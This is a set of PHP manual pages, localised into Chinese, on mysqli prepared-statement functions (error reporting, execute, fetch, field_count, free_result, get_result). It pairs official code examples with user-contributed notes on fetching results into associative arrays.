if ($stmt = mysqli_prepare($link, $query)) {

/* drop table */
mysqli_query($link, "DROP TABLE myCountry");

/* execute query */
mysqli_stmt_execute($stmt);

printf("Error: %d.\n", mysqli_stmt_errno($stmt));

/* close statement */
mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Error: 1146.

参见

  • mysqli_stmt_error() - Returns a string description for last statement error
  • mysqli_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of errors from the last statement executed

  • ? mysqli_stmt::$errno
  • mysqli_stmt::$error ?
  • PHP Manual
  • mysqli_stmt
  • Returns a list of errors from the last statement executed

mysqli_stmt::$error_list

mysqli_stmt_error_list

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

mysqli_stmt::$error_list -- mysqli_stmt_error_list — Returns a list of errors from the last statement executed

说明

面向对象风格

array $mysqli_stmt->error_list;

过程化风格

mysqli_stmt_error_list(mysqli_stmt $statement): array

Returns an array of errors for the most recently invoked statement function that can succeed or fail.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

A list of errors, each as an associative array containing the errno, error, and sqlstate.

示例

Example #1 面向对象风格

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

/* drop table */
$mysqli->query("DROP TABLE myCountry");

/* execute query */
$stmt->execute();

echo "Error:\n";
print_r($stmt->error_list);

/* close statement */
$stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

/* drop table */
mysqli_query($link, "DROP TABLE myCountry");

/* execute query */
mysqli_stmt_execute($stmt);

echo "Error:\n";
print_r(mysql_stmt_error_list($stmt));

/* close statement */
mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Error:
Array
(
    [0] => Array
        (
            [errno] => 1146
            [sqlstate] => 42S02
            [error] => Table 'world.myCountry' doesn't exist
        )

)

参见

  • mysqli_stmt_error() - Returns a string description for last statement error
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description for last statement error

  • ? mysqli_stmt::$error_list
  • mysqli_stmt::execute ?
  • PHP Manual
  • mysqli_stmt
  • Returns a string description for last statement error

mysqli_stmt::$error

mysqli_stmt_error

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$error -- mysqli_stmt_error — Returns a string description for last statement error

说明

面向对象风格

string $mysqli_stmt->error;

过程化风格

mysqli_stmt_error(mysqli_stmt $statement): string

Returns a string containing the error message for the most recently invoked statement function that can succeed or fail.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

A string that describes the error. An empty string if no error occurred.

示例

Example #1 面向对象风格

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

/* drop table */
$mysqli->query("DROP TABLE myCountry");

/* execute query */
$stmt->execute();

printf("Error: %s.\n", $stmt->error);

/* close statement */
$stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

/* drop table */
mysqli_query($link, "DROP TABLE myCountry");

/* execute query */
mysqli_stmt_execute($stmt);

printf("Error: %s.\n", mysqli_stmt_error($stmt));

/* close statement */
mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Error: Table 'world.myCountry' doesn't exist.

参见

  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.


Executes a prepared statement

  • ? mysqli_stmt::$error
  • mysqli_stmt::fetch ?
  • PHP Manual
  • mysqli_stmt
  • Executes a prepared statement

mysqli_stmt::execute

mysqli_stmt_execute

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::execute -- mysqli_stmt_execute — Executes a prepared statement

说明

面向对象风格

public mysqli_stmt::execute(?array $params = null): bool

过程化风格

mysqli_stmt_execute(mysqli_stmt $statement, ?array $params = null): bool

Executes previously prepared statement. The statement must be successfully prepared prior to execution, using either the mysqli_prepare() or mysqli_stmt_prepare() function, or by passing the second argument to mysqli_stmt::__construct().

If the statement is UPDATE, DELETE, or INSERT, the total number of affected rows can be determined by using the mysqli_stmt_affected_rows() function. If the query yields a result set, it can be fetched using mysqli_stmt_get_result() function or by fetching it row by row directly from the statement using mysqli_stmt_fetch() function.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

params

An optional list array with as many elements as there are bound parameters in the SQL statement being executed. Each value is treated as a string.

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

更新日志

版本 | 说明
8.1.0 | The optional params parameter has been added.

示例

Example #1 Execute a prepared statement with bound variables

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");

/* Prepare an insert statement */
$stmt = $mysqli->prepare("INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)");

/* Bind variables to parameters */
$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
$stmt->execute();

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Execute the statement */
$stmt->execute();

/* Retrieve all rows from myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
$result = $mysqli->query($query);
while ($row = $result->fetch_row()) {
printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City");

/* Prepare an insert statement */
$stmt = mysqli_prepare($link, "INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)");

/* Bind variables to parameters */
mysqli_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = 'Stuttgart';
$val2 = 'DEU';
$val3 = 'Baden-Wuerttemberg';

/* Execute the statement */
mysqli_stmt_execute($stmt);

$val1 = 'Bordeaux';
$val2 = 'FRA';
$val3 = 'Aquitaine';

/* Execute the statement */
mysqli_stmt_execute($stmt);

/* Retrieve all rows from myCity */
$query = "SELECT Name, CountryCode, District FROM myCity";
$result = mysqli_query($link, $query);
while ($row = mysqli_fetch_row($result)) {
printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

以上示例会输出：

Stuttgart (DEU,Baden-Wuerttemberg)
Bordeaux (FRA,Aquitaine)

Example #2 Execute a prepared statement with an array of values

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

$mysqli->query('CREATE TEMPORARY TABLE myCity LIKE City');

/* Prepare an insert statement */
$stmt = $mysqli->prepare('INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)');

/* Execute the statement */
$stmt->execute(['Stuttgart', 'DEU', 'Baden-Wuerttemberg']);

/* Retrieve all rows from myCity */
$query = 'SELECT Name, CountryCode, District FROM myCity';
$result = $mysqli->query($query);
while ($row = $result->fetch_row()) {
printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');

mysqli_query($link, 'CREATE TEMPORARY TABLE myCity LIKE City');

/* Prepare an insert statement */
$stmt = mysqli_prepare($link, 'INSERT INTO myCity (Name, CountryCode, District) VALUES (?,?,?)');

/* Execute the statement */
mysqli_stmt_execute($stmt, ['Stuttgart', 'DEU', 'Baden-Wuerttemberg']);

/* Retrieve all rows from myCity */
$query = 'SELECT Name, CountryCode, District FROM myCity';
$result = mysqli_query($link, $query);
while ($row = mysqli_fetch_row($result)) {
printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
}

以上示例会输出：

Stuttgart (DEU,Baden-Wuerttemberg)

参见

  • mysqli_execute_query() - Prepares, binds parameters, and executes SQL statement
  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_get_result() - Gets a result set from a prepared statement as a mysqli_result object

User Contributed Notes

Typer85 at gmail dot com 28-Dec-2006 02:23
Just to clarify this note in the Manual regarding this function:

"Note:  When using mysqli_stmt_execute(), the mysqli_stmt_fetch()  function must be used to fetch the data prior to performing any additional queries."

This is because this function DOES NOT store the result set on the client side so you have to fetch everything in the result set or else you risk major errors.

If you however use the function mysqli_stmt_store_result immediately after you use this function, you are forcing the result set to be stored on the client side and thus it is safe to issue extra queries before fetching all the data.

This is where you really have to make a choice regarding on your application's priorities. If you know your result set is memory hefty, then its a good idea not to store it on the client side so you don't run in any errors regarding unavailable memory on the server. But this also means your not going to do a lot of calculations on the result set or else you will prevent any other usage of the table to which the result set came from until you fetched it all.

If your going to do a lot of calculations or your result set is not memory hefty, its probably a good idea to store it on the client side.

Most of these problems can easily be solved if you have a lot of memory available on your server but thats usually not the case for those on shared hosting.

An intelligent way to counter this problem if your on a shared host is to be smart in the way you design your queries. Try to limit the result set if you know you will be fetching memory hefty result sets.

Test different alternatives for your application and see what works best for you under different conditions.

Good Luck,
andrey at php dot net 07-Oct-2005 05:34
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.


Fetch results from a prepared statement into the bound variables

  • ? mysqli_stmt::execute
  • mysqli_stmt::$field_count ?
  • PHP Manual
  • mysqli_stmt
  • Fetch results from a prepared statement into the bound variables

mysqli_stmt::fetch

mysqli_stmt_fetch

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::fetch -- mysqli_stmt_fetch — Fetch results from a prepared statement into the bound variables

说明

面向对象风格

public mysqli_stmt::fetch(): ?bool

过程化风格

mysqli_stmt_fetch(mysqli_stmt $statement): ?bool

Fetch the result from a prepared statement into the variables bound by mysqli_stmt_bind_result().

Note:

Note that all columns must be bound by the application before calling mysqli_stmt_fetch().

Note:

Data are transferred unbuffered without calling mysqli_stmt_store_result() which can decrease performance (but reduces memory cost).

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

返回值
Value | Description
true | Success. Data has been fetched
false | Error occurred
null | No more rows/data exists or data truncation occurred

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = $mysqli->prepare($query)) {

/* execute statement */
$stmt->execute();

/* bind result variables */
$stmt->bind_result($name, $code);

/* fetch values */
while ($stmt->fetch()) {
printf ("%s (%s)\n", $name, $code);
}

/* close statement */
$stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 150,5";

if ($stmt = mysqli_prepare($link, $query)) {

/* execute statement */
mysqli_stmt_execute($stmt);

/* bind result variables */
mysqli_stmt_bind_result($stmt, $name, $code);

/* fetch values */
while (mysqli_stmt_fetch($stmt)) {
printf ("%s (%s)\n", $name, $code);
}

/* close statement */
mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Rockford (USA)
Tallahassee (USA)
Salinas (USA)
Santa Clarita (USA)
Springfield (USA)

参见

  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error
  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage

User Contributed Notes

xcyberx at protonmail dot com 24-Oct-2019 03:52
Not any example for result with field names is not works correct when used prepare. This is correct variant:

<?php

    // STMT SQL prepeare and execute
    protected static function stmtSQL( $CONNECTION, $SQL_STMT ) {

        $stmt = $CONNECTION->stmt_init();

        if( $stmt->prepare($SQL_STMT) ) {

            $stmt->execute();

            $r = $stmt->get_result();

            while ( $row = mysqli_fetch_assoc($r) ) {
                print '<pre>'. print_r( $row, true ) .'</pre>';

            }

            ...

            $stmt->close();

            return $result;

        }
        else {

            return null;

        }

    }
?>

Then we can make modifier to make possible collect data into fields_named array when used JOIN because it more flexible ;)
admin at akchauhan2 dot com 06-Sep-2018 10:48
I'm creating a pagination system, here i am fetching some data in whileloop from the db, The problem is that i want to open a

Tag after every 3rd fetching from the database so that it will look like this:

1st time:

<div class="row no-collapse-1">
<section class="4u border">
<a href="video.php?video_id=1" class="image featured">
<img src="/images/image_imagename/hqdefault.jpg">
                    </a>
                <div class="box">
                    <p>Video Title </p>
                    <a href="video.php?video_id=1" class="button">Watch</a> </div>
            </section>
 </div>
2nd:

  <div class="row no-collapse-1">
      <section class="4u border">
                    <a href="video.php?video_id=1" class="image featured">
                            <img src="/images/image_imagename/hqdefault.jpg">
                        </a>
                    <div class="box">
                        <p>Video Title </p>
                        <a href="video.php?video_id=1" class="button">Watch</a> </div>
                </section>
    </div>
3rd..4th. .and so on..

I am using this code, now how and where should i place the  <div class="row no-collapse-1"> tag

<?php
    if(isset($_GET['page'])){
        $page = $_GET['page'];
    }else{
        $page = 1;
    }
            $l_s = ($page*9)-9;

    $stmt = mysqli_prepare($connection,"SELECT video_id, video_title, video_link FROM tubeVideos ORDER BY video_id DESC LIMIT $l_s,9");
    mysqli_stmt_execute($stmt);
    mysqli_stmt_bind_result($stmt,$video_id, $video_title, $video_link);

    while(mysqli_stmt_fetch($stmt)){

?>

<section class="4u border">
            <a href="video.php?video_id=<?php echo $video_id; ?>" class="image featured">
                    <img src="/images/image_<?php echo $video_image ?>/hqdefault.jpg">
                </a>
            <div class="box">
                <p>
                    <?php echo $video_title; ?>
                </p>
                <a href="video.php?video_id=<?php echo $video_id; ?>" class="button">Watch</a> </div>
        </section>
jjling2011 at gmail dot com 31-May-2017 07:36
Combind both ideas from Bruce Martin and dan, I come up with this code.
It will return an assoc array.

usage:
    $data = fetch_assoc('select * from table1 where id=? and name=?','is',[1,'Sam']);
    $data = fetch_assoc('select * from table2');

result looks like this:
   $data = [
      'id' => 1,
      'name' => 'Sam',
      'age' => ...
      ...
      ...
   ];

Please forgive my poor coding ( and English)  XD

code:
<?php
    function fetch_assoc($sql, $types = false, $params = false) {

        $db = new MySQLi(HOST, USER, PASS, DB_NAME);
        $db->set_charset('utf8');

        $stmt = $db->prepare($sql);

        // bind params
        if (is_string($types) && is_array($params) && count($params) === strlen($types)) {
            $p = [];
            for($i = 0; $i<count($params); $i++){
                $p[$i] = &$params[$i];
            }
            call_user_func_array(array($stmt, 'bind_param'), array_merge(array($types), $p));
        }

        if (!$stmt->execute()) {
            // some thing goes wrong
            return false;
        }
        $stmt->store_result();

        // get column names
        $metadata = $stmt->result_metadata();
        $fields = $metadata->fetch_fields();

        $results = [];
        $ref_results = [];
        foreach($fields as $field){
            $results[$field->name]=null;
            $ref_results[]=&$results[$field->name];
        }

        call_user_func_array(array($stmt, 'bind_result'), $ref_results);

        $data = [];
        while ($stmt->fetch()) {
            $data[] = $results;
        }

        $stmt->free_result();
        return  $data;
    }
asimileac at gmail dot com 07-Nov-2016 11:05
There is a bug - https://bugs.php.net/bug.php?id=64638

Don't use cursors in stored procedures which are called from PHP. You will receive PHP Warning:

PHP Warning:  Packets out of order. Expected xxx received yyy. Packet size=zzz
Brian 14-May-2015 06:09
Same as everyone else, I was looking for a way NOT to have to duplicate the amount of code it takes to fetch the results of a prepared statement as an associative array.

Some of the other methods didn't work as written, and this one is packaged into a simple function to reduce code repetition.

Adapted from code others have posted.
<?php
// Example usage:
$id = 1;
$stmt = $dbc->prepare("SELECT * FROM table WHERE id=?");
if (!$stmt->bind_param('i', $id) || !$stmt->execute()) {
    throw new \Exception("Database error: $stmt->errno - $stmt->error");
}
$results = fetch_assoc_stmt($stmt);
$stmt->close();

/**
 * Fetches the results of a prepared statement as an array of associative
 * arrays such that each stored array is keyed by the result's column names.
 * @param stmt   Must have been successfully prepared and executed prior to calling this function
 * @param buffer Whether to buffer the result set; if true, results are freed at end of function
 * @return An array, possibly empty, containing one associative array per result row
 */
function fetch_assoc_stmt(\mysqli_stmt $stmt, $buffer = true) {
    if ($buffer) {
        $stmt->store_result();
    }
    $fields = $stmt->result_metadata()->fetch_fields();
    $args = array();
    foreach($fields AS $field) {
        $key = str_replace(' ', '_', $field->name); // space may be valid SQL, but not PHP
        $args[$key] = &$field->name; // this way the array key is also preserved
    }
    call_user_func_array(array($stmt, "bind_result"), $args);
    $results = array();
    while($stmt->fetch()) {
        $results[] = array_map("copy_value", $args);
    }
    if ($buffer) {
        $stmt->free_result();
    }
    return $results;
}

/**
 * Copy value as value
 */
function copy_value($v) {
    return $v;
}
?>
Bruce Martin 30-Dec-2011 09:51
I was trying to use a generic select * from table statment and have the results returned in an array. I finally came up with this solution, others have similar solutions, but they where not working for me.
<?php
    //Snip use normal methods to get to this point
    $stmt->execute();
    $metaResults = $stmt->result_metadata();
    $fields = $metaResults->fetch_fields();
    $statementParams='';
     //build the bind_results statement dynamically so I can get the results in an array
     foreach($fields as $field){
         if(empty($statementParams)){
             $statementParams.="\$column['".$field->name."']";
         }else{
             $statementParams.=", \$column['".$field->name."']";
         }
    }
    $statment="\$stmt->bind_result($statementParams);";
    eval($statment);
    while($stmt->fetch()){
        //Now the data is contained in the assoc array $column. Useful if you need to do a foreach, or
        //if your lazy and didn't want to write out each param to bind.
    }
    // Continue on as usual.
?>
denath2 at yahoo dot com 19-May-2008 12:27
As php at johnbaldock dot co dot uk mentioned the problem is that the $row returned is reference and not data. So, when you write  $array[] = $row, the $array will be filled up with the last element of the dataset. To come up with this you can write the following hack:

// loop through all result rows
while ($stmt->fetch()) {

    foreach( $row as $key=>$value )
    {
        $row_tmb[ $key ] = $value;
    }
    $array[] = $row_tmb;

}
piedone at pyrocenter dot hu 08-May-2008 12:57
I tried the mentioned stmt_bind_assoc() function, but somehow, very strangely it doesn't allow the values to be written in an array! In the while loop, the row is fetched correctly, but if I write $array[] = $row;, the array will be filled up with the last element of the dataset... Unfortunately I couldn't find a solution.
Lyndon 23-Apr-2008 05:38
This function uses the same idea as the last, but instead binds the fields to a given array.
<?php
function stmt_bind_assoc (&$stmt, &$out) {
    $data = mysqli_stmt_result_metadata($stmt);
    $fields = array();
    $out = array();

    $fields[0] = $stmt;
    $count = 1;

    while($field = mysqli_fetch_field($data)) {
        $fields[$count] = &$out[$field->name];
        $count++;
    }
    call_user_func_array(mysqli_stmt_bind_result, $fields);
}

// example

$stmt = $mysqli->prepare("SELECT name, userid FROM somewhere");
$stmt->execute();

$row = array();
stmt_bind_assoc($stmt, $row);

// loop through all result rows
while ($stmt->fetch()) {
    print_r($row);
}
?>
dan dot latter at gmail dot com 16-Aug-2007 12:14
The following function taken from PHP Cookbook 2, returns an associative array of a row in the resultset, place in while loop to iterate through whole result set.

<?php
public function fetchArray () {
   $data = mysqli_stmt_result_metadata($this->stmt);
        $fields = array();
        $out = array();

        $fields[0] = &$this->stmt;
        $count = 1;

        while($field = mysqli_fetch_field($data)) {
            $fields[$count] = &$out[$field->name];
            $count++;
        }

        call_user_func_array(mysqli_stmt_bind_result, $fields);
        mysqli_stmt_fetch($this->stmt);
        return (count($out) == 0) ? false : $out;

    }
?>
Typer85 at gmail dot com 27-Dec-2006 05:55
Just a side note,

I see many people are contributing in ways to help return result sets for prepared statements in ASSOSITAVE arrays the same as the mysqli_fetch_assos function might return from a normal query issued via mysqli_query.

This is done, in all the examples I have seen, by dynamically getting the field names in the prepared statement and binding them using 'variable' variables, which are variables that are created dynamically with the name of the field names.

Some thing though you should take into consideration is illegal variable names in PHP. Assume that you have a field name in your database table named 'My Field' , notice the space between 'My' and 'Field'.

To dynamically create this variable is illegal in PHP as variables can not have spaces in them. Furthermore, you won't be able to access the binded data as you can not reference a variable like so:

<?php

// Syntax Error.

echo $My Table;

?>

The only suitable solution I find now is to replace all spaces in a field name with an underscore so that you can use the binded variable like so:

<?php

// This Works.

echo $My_Table;

// Notice the space is now replaced with an underscore.

?>

All you simply have to do is before you dynamically bind the data, so a string search for any spaces in the table name, replace them with an underscore, THEN bind the variable.

That way you should not run into problems.
php at johnbaldock dot co dot uk 09-Nov-2006 01:33
Having just learned about call_user_func_array I reworked my fetch_assoc example. Swapping the following code makes for a more elegant (and faster) solution.

Using:
<?php
while ($columnName = $meta->fetch_field()) {
    $columns[] = &$results[$columnName->name];
}
call_user_func_array(array($stmt, 'bind_result'), $columns);
?>

Instead of this code from my example below:
<?php
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
   $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';
eval($bindResult);
?>

The full reworked fetch_assoc code for reference:
<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

while ($column = $meta->fetch_field()) {
   $bindVarsArray[] = &$results[$column->name];
}
call_user_func_array(array($stmt, 'bind_result'), $bindVarsArray);

$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//  ["id"]=>
//  &int(1)
//  ["foo"]=>
//  &string(11) "This is Foo"
//  ["bar"]=>
//  &string(11) "This is Bar"
// }
?>
php at johnbaldock dot co dot uk 23-Oct-2006 01:07
I wanted a simple way to get the equivalent of fetch_assoc when using a prepared statement. I came up with the following:

<?php
$mysqli = new mysqli($dbHost, $dbUsername, $dbPassword, $dbDatabase);
$stmt = $mysqli->prepare('select * from foobar');
$stmt->execute();
$stmt->store_result();
$meta = $stmt->result_metadata();

// the following creates a bind_result string with an argument for each column in the query
// e.g. $stmt->bind_result($results["id"], $results["foo"], $results["bar"]);
$bindResult = '$stmt->bind_result(';
while ($columnName = $meta->fetch_field()) {
    $bindResult .= '$results["'.$columnName->name.'"],';
}
$bindResult = rtrim($bindResult, ',') . ');';

// executes the bind_result string
eval($bindResult);
$stmt->fetch();

echo var_dump($results);
// outputs:
//
// array(3) {
//   ["id"]=>
//   &int(1)
//   ["foo"]=>
//   &string(11) "This is Foo"
//   ["bar"]=>
//   &string(11) "This is Bar"
// }
?>
andrey at php dot net 27-Apr-2005 11:37
IMPORTANT note: Be careful when you use this function with big result sets or with BLOB/TEXT columns. When one or more columns are of type (MEDIUM|LONG)(BLOB|TEXT) and ::store_result() was not called mysqli_stmt_fetch() will try to allocate at least 16MB for every such column. It _doesn't_ matter that the longest value in the result set is for example 30 bytes, 16MB will be allocated. Therefore it is not the best idea ot use binding of parameters whenever fetching big data. Why? Because once the data is in the mysql result set stored in memory and then second time in the PHP variable.


Returns the number of columns in the given statement

  • ? mysqli_stmt::fetch
  • mysqli_stmt::free_result ?
  • PHP Manual
  • mysqli_stmt
  • Returns the number of columns in the given statement

mysqli_stmt::$field_count

mysqli_stmt_field_count

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$field_count -- mysqli_stmt_field_count — Returns the number of columns in the given statement

说明

面向对象风格

int $mysqli_stmt->field_count;

过程化风格

mysqli_stmt_field_count(mysqli_stmt $statement): int

Returns the number of columns in the prepared statement.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

Returns an integer representing the number of columns.

示例

Example #1 面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$code = 'FR';

$stmt = $mysqli->prepare("SELECT Name FROM Country WHERE Code=?");
$stmt->bind_param('s', $code);
$stmt->execute();
$row = $stmt->get_result()->fetch_row();
for ($i = 0; $i < $stmt->field_count; $i++) {
printf("Value of column number %d is %s", $i, $row[$i]);
}

Example #2 过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$code = 'FR';

$stmt = mysqli_prepare($mysqli, "SELECT Name FROM Country WHERE Code=?");
mysqli_stmt_bind_param($stmt, 's', $code);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_row($result);
for ($i = 0; $i < mysqli_stmt_field_count($stmt); $i++) {
printf("Value of column number %d is %s", $i, $row[$i]);
}

以上示例的输出类似于：

Value of column number 0 is France

参见

  • mysqli_stmt_num_rows() - Returns the number of rows fetched from the server

User Contributed Notes

There are no user contributed notes for this page.


Frees stored result memory for the given statement handle

  • ? mysqli_stmt::$field_count
  • mysqli_stmt::get_result ?
  • PHP Manual
  • mysqli_stmt
  • Frees stored result memory for the given statement handle

mysqli_stmt::free_result

mysqli_stmt_free_result

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::free_result -- mysqli_stmt_free_result — Frees stored result memory for the given statement handle

说明

面向对象风格

public mysqli_stmt::free_result(): void

过程化风格

mysqli_stmt_free_result(mysqli_stmt $statement): void

Frees the result memory associated with the statement, which was allocated by mysqli_stmt_store_result().

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

没有返回值。

参见

  • mysqli_stmt_store_result() - Stores a result set in an internal buffer

User Contributed Notes

There are no user contributed notes for this page.


Gets a result set from a prepared statement as a mysqli_result object

  • ? mysqli_stmt::free_result
  • mysqli_stmt::get_warnings ?
  • PHP Manual
  • mysqli_stmt
  • Gets a result set from a prepared statement as a mysqli_result object

mysqli_stmt::get_result

mysqli_stmt_get_result

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_stmt::get_result -- mysqli_stmt_get_result — Gets a result set from a prepared statement as a mysqli_result object

说明

面向对象风格

public mysqli_stmt::get_result(): mysqli_result|false

过程化风格

mysqli_stmt_get_result(mysqli_stmt $statement): mysqli_result|false

Retrieves a result set from a prepared statement as a mysqli_result object. The data will be fetched from the MySQL server to PHP. This method should be called only for queries which produce a result set.

Note:

仅可用于 mysqlnd。

Note:

This function cannot be used together with mysqli_stmt_store_result(). Both of these functions retrieve the full result set from the MySQL server.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

Returns false on failure. For successful queries which produce a result set, such as SELECT, SHOW, DESCRIBE or EXPLAIN, mysqli_stmt_get_result() will return a mysqli_result object. For other successful queries, mysqli_stmt_get_result() will return false. The mysqli_stmt_errno() function can be used to distinguish between the two reasons for false; due to a bug, prior to PHP 7.4.13, mysqli_errno() had to be used for this purpose.

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

